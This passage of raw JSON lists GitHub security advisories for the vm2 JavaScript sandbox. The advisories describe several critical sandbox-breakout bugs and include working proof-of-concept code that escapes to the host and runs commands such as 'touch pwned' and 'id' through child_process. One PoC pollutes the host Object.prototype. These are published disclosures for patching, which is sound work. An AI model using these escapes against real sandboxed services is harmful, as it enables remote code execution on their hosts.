Resources"}],"cwe_ids":["CWE-913"],"credits":[],"credits_detailed":[],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0}},{"ghsa_id":"GHSA-248r-7h7q-cr24","cve_id":"CVE-2026-45411","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-248r-7h7q-cr24","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24","summary":"Sandbox Breakout Using Async Generator","description":"### Summary\r\n\r\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\r\n\r\n### Details\r\n\r\nIt is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.\r\n\r\n### PoC\r\n\r\n```js\r\nconst {VM} = require(\"vm2\");\r\nconst vm = new VM();\r\nconsole.log(vm.run(`\r\nclass E extends Error {}\r\nfunction so(d) {\r\n\tif (d > 0) so(d-1);\r\n\tconst e = new E();\r\n\te.stack;\r\n\tthrow e;\r\n}\r\nasync function* helper() {\r\n\tyield* {\r\n\t\t[Symbol.asyncIterator]: ()=>({\r\n\t\t\tnext: v=>({value: v, done: false})\r\n\t\t})\r\n\t};\r\n}\r\nasync function doCatch(f) {\r\n\tconst i=helper();\r\n\tawait i.next();\r\n\tconst v = await i.return({then(r){f();r();}});\r\n\treturn v.value;\r\n}\r\n(async function f() {\r\n\tlet min = 0;\r\n\tlet max = 10000000;\r\n\twhile (min<max) {\r\n\t\tconst mid = (min+max)>>1;\r\n\t\tconst e = await doCatch(()=>so(mid));\r\n\t\tif (e.name===\"RangeError\" && !(e instanceof RangeError)) {\r\n\t\t\te.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (e instanceof E) {\r\n\t\t\tmin = mid+1;\r\n\t\t} else {\r\n\t\t\tmax = mid;\r\n\t\t}\r\n\t}\r\n})();\r\n`));\r\n```\r\n\r\n### Impact\r\n\r\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-248r-7h7q-cr24","type":"GHSA"},{"value":"CVE-2026-45411","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-12T18:38:07Z","published_at":"2026-05-11T02:18:50Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<=3.11.2","patched_versions":"3.11.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"XmiliaH","type":"reporter"}],"credits_detailed":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}},{"ghsa_id":"GHSA-2cm2-m3w5-gp2f","cve_id":null,"url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-2cm2-m3w5-gp2f","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f","summary":"Access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`","description":"### Summary\r\n\r\nhttps://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.\r\n\r\n### Details\r\n\r\nIt is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`.\r\n\r\n### PoC\r\n\r\n```js\r\nconst {VM} = require(\"vm2\");\r\nconst vm = new VM();\r\nconsole.log(vm.run(`\r\n globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']\r\n`));\r\n```\r\n\r\n### Impact\r\n\r\nNone\r\n","severity":"medium","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-2cm2-m3w5-gp2f","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-05-03T21:35:04Z","published_at":"2026-05-03T21:35:03Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<=3.11.1","patched_versions":"3.11.2","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"XmiliaH","type":"reporter"}],"credits_detailed":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3}},{"ghsa_id":"GHSA-9vg3-4rfj-wgcm","cve_id":"CVE-2026-44009","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-9vg3-4rfj-wgcm","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm","summary":"Sandbox Breakout Through Null Proto Exception","description":"### Summary\r\n\r\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\r\n\r\n### Details\r\n\r\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\r\n\r\n### PoC\r\n\r\n```js\r\nconst {VM} = require(\"vm2\");\r\nconst vm = new VM();\r\nconsole.log(vm.run(`\r\nconst o = {__proto__: null};\r\ntry {\r\n\tthrow o;\r\n} catch (e) {\r\n\te.f = Buffer.prototype.inspect\r\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\r\n}\r\n`));\r\n```\r\n\r\n### Impact\r\n\r\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-9vg3-4rfj-wgcm","type":"GHSA"},{"value":"CVE-2026-44009","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:41:01Z","published_at":"2026-05-03T21:34:48Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<=3.11.1","patched_versions":"3.11.2","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"XmiliaH","type":"reporter"}],"credits_detailed":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}},{"ghsa_id":"GHSA-9qj6-qjgg-37qq","cve_id":"CVE-2026-44008","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-9qj6-qjgg-37qq","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq","summary":"Sandbox breakout via `neutralizeArraySpeciesBatch`","description":"### Summary\r\n\r\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\r\n\r\n### Details\r\n\r\nThe new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.\r\n\r\n### PoC\r\n\r\n```js\r\nconst {VM} = require(\"vm2\");\r\nconst vm = new VM();\r\nconsole.log(vm.run(`\r\nconst a = [];\r\nObject.defineProperty(Array.prototype, 0, {\r\n\tset(value) {\r\n\t\ta.f = Buffer.prototype.inspect;\r\n\t\tvalue.arr.f.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\r\n\t}\r\n});\r\nnew Buffer(a);\r\n`));\r\n```\r\n\r\n### Impact\r\n\r\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-9qj6-qjgg-37qq","type":"GHSA"},{"value":"CVE-2026-44008","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:40:51Z","published_at":"2026-05-03T21:34:12Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.1","patched_versions":"3.11.2","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"XmiliaH","type":"reporter"}],"credits_detailed":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}},{"ghsa_id":"GHSA-8hg8-63c5-gwmx","cve_id":"CVE-2026-44007","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-8hg8-63c5-gwmx","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx","summary":"nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution","description":"### Summary\r\n\r\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\r\n\r\n### Details\r\n\r\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\r\n\r\n**`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\r\n\r\n```js\r\nconst NESTING_OVERRIDE = Object.freeze({\r\n  __proto__: null,\r\n  vm2: vm2NestingLoader\r\n});\r\n```\r\n\r\n**`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options:\r\n\r\n```js\r\nconst customResolver = requireOpts instanceof Resolver;\r\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\r\n  requireOpts,\r\n  nesting && NESTING_OVERRIDE,  // ← injected when nesting:true\r\n  this._compiler\r\n);\r\n```\r\n\r\n**`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\r\n\r\n```js\r\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\r\n  if (!options) {\r\n    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all\r\n    // BUG: require:false + nesting:true reaches here\r\n    // override (NESTING_OVERRIDE) is applied, making vm2 available\r\n    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\r\n    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable\r\n  }\r\n  // ...\r\n}\r\n```\r\n\r\n**`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\r\n\r\n```js\r\nif (overrides) {\r\n  const keys = Object.getOwnPropertyNames(overrides);\r\n  for (const key of keys) {\r\n    res.set(key, overrides[key]);  // vm2 always injected when nesting:true\r\n  }\r\n}\r\n```\r\n\r\nThe result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`.\r\n\r\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\r\n\r\n### PoC\r\n\r\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\r\n\r\n```js\r\nconst { NodeVM } = require('vm2');\r\n\r\n// Host intends: nesting enabled, but require completely disabled\r\nconst vm = new NodeVM({ nesting: true, require: false });\r\n\r\nconst result = vm.run(`\r\n  // Step 1: require('vm2') succeeds despite require:false on the outer VM\r\n  const { NodeVM: NVM } = require('vm2');\r\n\r\n  // Step 2: create an inner NodeVM with attacker-chosen require config\r\n  // This inner VM has no relation to the outer VM's restrictions\r\n  const inner = new NVM({ require: { builtin: ['child_process'] } });\r\n\r\n  // Step 3: execute arbitrary OS command in the inner VM\r\n  module.exports = inner.run(\r\n    'module.exports = require(\"child_process\").execSync(\"id\").toString()'\r\n  );\r\n`);\r\n\r\nconsole.log(result);\r\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\r\n```\r\n\r\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\r\n```\r\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\r\n```\r\n\r\nThe variant with `require: false` also works — the outer VM's require setting has no effect:\r\n\r\n```js\r\nnew NodeVM({ nesting: true, require: false }).run(`\r\n  const { NodeVM: NVM } = require('vm2');\r\n  module.exports = new NVM({ require: { builtin: ['child_process'] } })\r\n    .run('module.exports = require(\"child_process\").execSync(\"id\").toString()');\r\n`);\r\n// uid=1000(akshat) ...\r\n```\r\n\r\nNarrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled.\r\n\r\n### Impact\r\n\r\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\r\n\r\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\r\n\r\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access.\r\n\r\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-8hg8-63c5-gwmx","type":"GHSA"},{"value":"CVE-2026-44007","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:40:40Z","published_at":"2026-05-01T21:29:07Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.0","patched_versions":"3.11.1","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-284","name":"Improper Access Control"}],"cwe_ids":["CWE-284"],"credits":[{"login":"akshatgit","type":"reporter"}],"credits_detailed":[{"user":{"login":"akshatgit","id":11229971,"node_id":"MDQ6VXNlcjExMjI5OTcx","avatar_url":"https://avatars.githubusercontent.com/u/11229971?v=4","gravatar_id":"","url":"https://api.github.com/users/akshatgit","html_url":"https://github.com/akshatgit","followers_url":"https://api.github.com/users/akshatgit/followers","following_url":"https://api.github.com/users/akshatgit/following{/other_user}","gists_url":"https://api.github.com/users/akshatgit/gists{/gist_id}","starred_url":"https://api.github.com/users/akshatgit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akshatgit/subscriptions","organizations_url":"https://api.github.com/users/akshatgit/orgs","repos_url":"https://api.github.com/users/akshatgit/repos","events_url":"https://api.github.com/users/akshatgit/events{/privacy}","received_events_url":"https://api.github.com/users/akshatgit/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1}},{"ghsa_id":"GHSA-vwrp-x96c-mhwq","cve_id":"CVE-2026-44005","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-vwrp-x96c-mhwq","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq","summary":"Sandbox escape in vm2","description":"### Summary\r\nvm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox \r\n\r\n### Details\r\nBaseHandler.apply() unwraps sandbox-controlled receivers and arguments with otherFromThis() / otherFromThisArguments() and then directly invokes the real host function with ret = otherReflectApply(object, context, args), so any default-exposed host function that can surface a prototype getter becomes a prototype-walking primitive ([lib/bridge.js:665-676](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L665-L676)). BaseHandler.get() special-cases __proto__ and returns the host-side descriptor or proxy target prototype, which is enough for the attacker to reuse the host __lookupGetter__('__proto__') accessor repeatedly until the walk lands on host Object.prototype, Array.prototype, or Function.prototype ([lib/bridge.js:590-616](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L590-L616)). Once the attacker has a proxy to a host intrinsic prototype, BaseHandler.set() performs value = otherFromThis(value); return otherReflectSet(object, key, value) === true;, which writes attacker-controlled data directly into the shared host object instead of keeping the mutation sandbox-local; BaseHandler.defineProperty() repeats the same design at otherReflectDefineProperty(object, prop, otherDesc) for descriptor-based writes ([lib/bridge.js:641-649](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L641-L649), [lib/bridge.js:753-774](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L753-L774)). Existing validation does not stop the attack because the constructor filter only blocks one dangerous-property access pattern, setPrototypeOf() only blocks prototype replacement rather than ordinary property assignment, and containsDangerousConstructor() only protects one later re-unwrapping path instead of the initial host-prototype write sink ([lib/bridge.js:494-530](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L494-L530), [lib/bridge.js:595-610](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L595-L610), [lib/bridge.js:660-662](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L660-L662)).\r\n\r\n### PoC\r\nRun the following code snippet and observe that the value of vm2EscapeMarker is polluted\r\n```\r\nconst { VM } = require('vm2');\r\nconst vm = new VM();\r\nvm.run(`\r\n  const g = ({}).__lookupGetter__;\r\n  const a = Buffer.apply;\r\n  const p = a.apply(g, [Buffer, ['__proto__']]);\r\n  const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of()))));\r\n  hostObjectProto.vm2EscapeMarker = 'polluted-object-prototype';\r\n`);\r\nconsole.log({}.vm2EscapeMarker)\r\n```\r\n\r\n### Impact\r\nSandbox escape and prototype pollution\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-vwrp-x96c-mhwq","type":"GHSA"},{"value":"CVE-2026-44005","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:53Z","published_at":"2026-05-01T20:42:00Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"3.9.6-3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"hongancalif","type":"reporter"}],"credits_detailed":[{"user":{"login":"hongancalif","id":173880337,"node_id":"U_kgDOCl00EQ","avatar_url":"https://avatars.githubusercontent.com/u/173880337?v=4","gravatar_id":"","url":"https://api.github.com/users/hongancalif","html_url":"https://github.com/hongancalif","followers_url":"https://api.github.com/users/hongancalif/followers","following_u